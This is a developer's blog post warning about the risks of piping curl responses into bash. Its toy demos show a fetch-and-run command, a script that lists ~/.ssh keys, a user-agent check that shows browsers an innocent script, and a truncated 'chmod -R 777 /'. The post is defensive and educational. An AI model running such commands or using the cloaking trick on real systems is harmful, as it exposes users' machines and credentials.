Maintain a Healthy Sense of Caution Whenever Running a `curl|bash` Command
Tags: bash, curl, security
Published: 2024-02-18 19:42:33

---
title: Maintain a Healthy Sense of Caution Whenever Running a `curl|bash` Command
published: true
date: 2024-02-18 18:47:32 UTC
tags: bash, curl, security 
canonical_url: https://macarthur.me/posts/curl-to-bash
---

If you've installed nerd software on your machine before, you've almost certainly executed a command like this before:

```
curl https://some-domain.com/install.sh | bash 
```

If you're anything like me, it took a long time (maybe years) to even ask what that sort of command is even doing. It's not much: `curl` retrieves a response and immediately feeds it to `bash` to execute on your machine. It's simple, flexible, and powerful.

With perks like that, it's no surprise [Homebrew](https://brew.sh/?ref=alex-macarthur), [Bun](https://bun.sh/?ref=alex-macarthur), [nvm](https://github.com/nvm-sh/nvm?tab=readme-ov-file&ref=alex-macarthur#install--update-script), and a bajillion other tools over the years have used a "curl to bash" for distributing their tools to machines. I'm actually one of them. I opted to use the tactic for the [Plausible Bootstrapper](https://plausiblebootstrapper.com/?ref=alex-macarthur)'s installation experience, and I'm glad I did.

But the experience of building that out made me think a little more deeply about the practice. It's useful, but it also comes with risk that's easy to overlook. Bad guys love words like "simple," and "powerful." It means there's an opportunity to exploit. All it takes to become vulnerable is failing to pay attention to what you're running on your machine.

I'm certainly not saying we should do away with the practice altogether. I just want to reignite a healthy sense of caution when ever it's used, starting within myself. And that means getting in touch with some of its biggest risks.

## The Biggest Concerns with Piping Curl Responses to Bash

There are some loud voices out there outrightly opposed to `curl|bash`, and the risks that power their apprehension is real. Here are some of the big ones:

### You could execute malicious code on your machine. 

It's the obvious one. By nature of this type of command, whatever the endpoint returns will be executed _directly_ on your machine with no hesitation. If you're copying & executing that command in one fell swoop, you don't get to review what's about to happen. There's no further approval process. No integrity verification step. It just _goes_.

From a bad guy's perspective, wouldn't take much to do something evil. Here's one I made with a small serverless function. All it does is return a stringified shell script:

```
export default async (request, response) => {
  return response.status(200).send(`
    #!/bin/bash

    echo "Taxation is theft."
  `);
};
```

It's run by executing the following:

```
curl -sL https://macarthur.me/run | bash
```

Of course, a bad guy would do something more nefarious, like read all of your private `~/.ssh` keys and do whatever it is bad guys do with them.

```
export default async (request, response) => {
	return response.status(200).send(`
		#!/bin/bash

		echo "I could steal these:"

		ls ~/.ssh
	`);
};
```

You get the idea. There are very few guardrails with this tactic, increasing your odds of falling off a cliff.

### It can behave differently based on the user agent.

You might think you could avoid the risk by popping the endpoint in your browser and previewing the source code before running it. That's a good practice, but it's not bulletproof. On the bad guy's end, it's easy enough to change the output when you know someone's accessing it through a browser instead of a terminal. With a quick sniff of the user agent, you could end up _seeing_ a very different script from what's actually run.

```
+ function isProbablyABrowser(request) {
+	return !/curl|postman/i.test(request.headers["user-agent"]);
+ }

export default async (request, response) => {
+	if (isProbablyABrowser(request)) {
+ return response.status(200).send(`
+ #!/bin/bash
+
+ echo "I'm very innocent!"
+ `);
+ }
+
	return response.status(200).send(`
		#!/bin/bash

		echo "I could steal these:"

		ls ~/.ssh
	`);
};

```

Being that easy, skimming through the script in a browser might amount to nothing more than false confidence. Run it in a terminal and you're still screwed.

### You could accidentally execute a partially downloaded script.

Under certain conditions, it's possible to retrieve and execute incomplete contents of an entire script. At best, your system would be left in an "unfinished" state or the script might bomb altogether, but at worst, it could wreak havoc on your machine.

Here's a contrived example. Let's say you've run piped a script to bash to that was interrupted for some reason, but it still sent some contents to execute. In this case, I'll just throw an error in the middle of the process constructing the full script.

```
export default async (request, response) => {
	response.write("#!/bin/bash\n");

	const scriptParts = [
		"chmod", 
		"-R", 
		"777", 
		"/", 
		"specific/directory"
	];

	for (let index = 0; index < scriptParts.length; index++) {
		// Oh no!
		if (index === scriptParts.indexOf("specific/directory")) {
			console.error("Something unexpected happened!");
			break;
		}

		response.write(scriptParts[index] + " ");
	}

	response.end();
};
```

A script that _should_ have given permissions to a particular directory had a blip, causing this to be returned:

```
#!/bin/bash
chmod -R 777 / 
```

And now, your entire system was made vulnerable by granting every user unintended access.

From an author's perspective, this is easily preventable: wrap the script body in a function, and only call that function after it's been fully downloaded:

```
#!/bin/bash

function main {
  chmod -R 777 /specific/directory
}

main()
```

Now, the script can only execute after _all_ of it's been downloaded. Much less risky.

## Just Pay Attention

This certainly isn't the only set of risks associated with piping `curl` to `bash`, but they hopefully set the tone for how serious the consequences could be if you're not paying attention.

That probably is the most effective thing you can do to balance the immense value of these commands with the risks they carry: _pay attention_. Tangibly, that means:

- **Know what you expect to happen _before_ running the command.** Consider the side effects. Get a grip on the intended outcome of the script. Sometimes, makers aren't even trying to do anything nasty. You might've just sucked at reading the documentation, and now other system-level dependencies no longer behave the way they previously did.
- **Make sure you trust the author.** Even if you don't know them personally, you can usually pick up on enough clues to derive that trust. Inspect their website. Find corroborating reviews. Run a quick search to see if anyone else has regretted using this thing.
- **Read (and understand) the command itself.** Don't fall prey to blindly copying & pasting an installation command you find in some documentation. For all you know, the endpoint might not be protected via TLS, and now you've opened yourself up to a man-in-the-middle attack. It's on _you_ to know what you're about to run on your machine, and what it's designed to do. 

Engineering life would've been a lot harder if it weren't for the `curl|bash` commands I've run over the years, and I'm grateful to the authors who've made it so easy to get up & going by using the approach. But it's one of the many things out there that you shouldn't get _too_ comfortable using. So, be smart and have a healthy sense of caution whenever you do.